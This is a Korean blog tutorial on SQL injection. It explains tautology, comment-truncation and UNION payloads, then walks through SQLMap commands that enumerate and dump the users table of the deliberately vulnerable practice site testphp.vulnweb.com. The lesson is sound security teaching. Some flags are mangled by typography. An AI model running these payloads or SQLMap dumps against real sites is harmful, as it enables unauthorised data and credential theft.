백박스 리눅스를 활용한 모의 침투 — 7장(2)
7장 SQL 삽입 공격 원리와 실습(2)
INDEX
- SQL 삽입 공격 원리
- SQL 삽입 공격 실습
1.SQL 삽입 공격 원리
SELECT * FROM injection WHERE user = ‘tiger’ and passwords = ‘1234’;
WHERE 조건절을 이용하면 해당 조건에 해당하는 데이터들만 출력이 된다.
위 명령어의 경우 user가 tiger이고 passwords가 1234인 데이터들만 출력하라는 의미이다.
그렇게 때문에 [그림7(2)-1]처럼 user=’tiger’와 passwords=’1234’가 모두 참인 조건을 만족하는 데이터가 출력되는 것이다.
왜 갑자기 WHERE절을 사용하여 데이터를 출력해보았을까?
그 이유는 뒤에서 알게 되겠지만 WHERE 조건절에서 사용하는 논리식으로 인해 SQL 삽입 공격이 발생하기 때문이다.
SELECT * FROM injection WHERE user = ‘tiger’ and passwords = ‘1234’ or ‘10’ = ‘10’;
[그림 7(2)–2]에서 사용했던 명령어에 or ‘10’ = ‘10’을 추가할 경우, 조건절을 이용했음에도 모든 데이터가 출력된다.
조건절에 사용된 논리문은
(user = ‘tiger’ and passwords = ‘1234’) OR (‘10’=’10’) 라고도 볼 수 있다.
여기서 OR 논리식은 둘 중 하나라도 참이면 참인 값이 도출된다.
즉, 앞에 문장이 거짓이라도 ‘10’=’10’은 항상 참이기 때문에 OR 논리식으로 인해 결과 값이 항상 참이 되고 그로 인해 전체 데이터가 출력된다.
이 원리가 바로 SQL 삽입 공격의 원리이다.
비슷한 예를 한가지 더 살펴볼 것이다.
SELECT * FROM injectiont WHERE user=’root’ or ‘10’=’10’;# and password = ‘1234’;
여기서 #는 MY-SQL에서 사용하는 주석 기호이다.
이는 and 앞에 #를 추가함으로써 password 부분을 주석처리하여 의미가 없게 만들어 준다.
위 명령어 역시 ‘10’=’10’은 항상 참이고 OR 논리식을 사용했기에 조건문은 늘 참이 되고, 항상 전체 데이터가 출력된다.
SELECT * FROM injectiont WHERE user = ‘’ union select ‘1’, ‘root’, ‘4321’;
union 연산자는 둘 이상의 select 문 결과를 단일 결과 집합으로 결합할 수 있는 속성이 있다.
위 명령어는 union select를 사용하여 injectiont 테이블 형태로 num이 1이고 user가 root, passwords가 ‘4321’인 값을 출력할 수 있게 해준다.
2.SQL 삽입 공격 실습
SQL 삽입 공격을 실습하기 위해 SQLMap이라는 도구를 사용할 것이다.
SQLMap이란?
파이썬 언어로 작성된 SQL 삽입 취약점 침투 도구 이다.
무차별 대입 침투 도구 중 하나이기도 하다.
sqlmap -hh 명령어를 입력하면 도구의 도움말을 확인할 수 있다.
SQLMap은 블라인드(Blind) SQL 삽입 침투 도구이다.
블라인드(Bline) SQL 삽입 공격은 공격자가 SQL 오류 구문 등을 보지 못할 때 사용한다.
또한 블라인드 SQL 삽입 공격은 질의어가 참일 때와 거짓일 때의 서버 반응 등으로 데이터를 얻어내는 기법이기도 하다.
이제 우리는 실습을 위하여 testphp.vulnweb.com 사이트에 접속해 볼 것이다.
위 사이트 주소를 클릭하거나 검색하면 다음과 같은 화면이 나올 것이다.
[그림7(2)-7]처럼 Category를 선택하면 여러 목록이 나온다.
그 중 Paintings를 선택한다면,
이때의 주소가 testphp.vulnweb.com/listproducts.php?cat=2 임을 알 수 있다.
그중 listproducts.php?cat=2을 매개 변수(Parameter)라고 한다.
매개 변수는 SQLMap 도구에서 꼭 필요한 것이다.
만일 매개변수를 확인할 수 없다면, 와이어샤크 등으로 확인가능한 쿠키 정보 등을 매개 변수로 대신 활용할 수 있다.
그럼 이제 위 사이트에서 확인한 매개 변수를 사용해 실습해 볼 것이다.
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2” 명령어를 입력하면
[그림7(2)-10,11] 에서 볼 수 있듯이 총 3가지 질문이 나오는데, 첫번째 질문에는 y, 나머지 질문들은 n이라고 답하면 된다.
약간의 시간이 흐르면 [그림7(2)-12]와 같은 결과를 확인할 수 있다.
위 결과를 통해 우리는 웹 서버에서 사용하는 DBMS 정보 등을 확인 할 수 있다.
여기서 DBMS란?
Data Base Management System의 약자로 데이터를 효과적으로 이용할 수 있도록 정리, 보관하기 위한 기본 소프트웨어이다.
그리고 이 정보를 확인 할 수 있다는 것은 블라인드 SQL 삽입 공격이 가능하다는 증거이기도 하다.
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2” --wizard
— wizard 플래그를 사용하면 웹 서버에서 사용하는 운영 체제 정보 등을 확인할 수 있다.
[그림7(2)-13] 명령어를 입력하면
POST data ( — data) [Enter for None]:
라는 질문이 나오는데 그냥 Enter를 치면 된다.
그 뒤로 나오는 두 개의 객관식에서는 모두 1을 입력한다.
이것도 약간의 시간이 흐르면 [그림7(2)-15]와 같은 결과를 볼 수 있다.
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”--dbs
— dbs 플래그를 사용하면[그림7(2)-17] 같이 acuart 데이터 베이스와 information_schema 데이터베이스 2가지를 확인할 수 있다.
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”--dbs — users
— dbs –-users 플래그는 acuart@localhost 정보를 확인할 수 있다.
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”-D acuart — tables
-D acuart –tables 플래그는 acuart 데이터베이스에 속한 테이블 목록을 확인할 수 있다.
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”-D acuart -T users — columns
-D acuart -T users –columns 플래그는 users 테이블의 구조를 확인할 수 있다.
여기서 주목해야 할 것은 pass 칼럼이다. 이는 비밀번호와 관련이 있기 때문이다.
sqlmap -u “http://testphp.vulnweb.com/listproducts.php?cat=2”-D acuart -T users — columns — dump 명령어를 입력하고 나면 3가지 질문이 나온다.
[그림7(2)-25]처럼 첫 번째 질문에는 n, 다음 질문에는 y, 객관식은 그냥 Enter를 친다. 마지막 질문에는 n을 입력한다.
-D acuart -T users –columns –dump 플래그는 무차별 대입 공격을 수행한 후에 결과를 보여준다.
중요한 정보들만 표로 나타내면 [그림7(2)-27]과 같다.
이를 통해 SQL 삽입 취약점을 통해 정보가 공격자에게 보여질 수 있다는 것을 확인할 수 있었다.
마치며
이번 시간에는 저번 시간에 배웠던 SQL삽입공격을 실습해보는 시간을 가졌습니다. 실습 내용을 잘 따라하셨다면 큰 문제 없이 잘 해내셨을 것 입니다.
다음 시간에는 “BeEF 도구를 이용한 XSS 공격의 이해”에 대해 글을 올릴 것입니다.
[WARNING]
공부한 내용을 정리하는 글이라서 틀린 내용이 있을 수도 있습니다. 잘못된 내용이 있다면 망설이지 마시고 알려주세요!
읽어주셔서 감사합니다 :)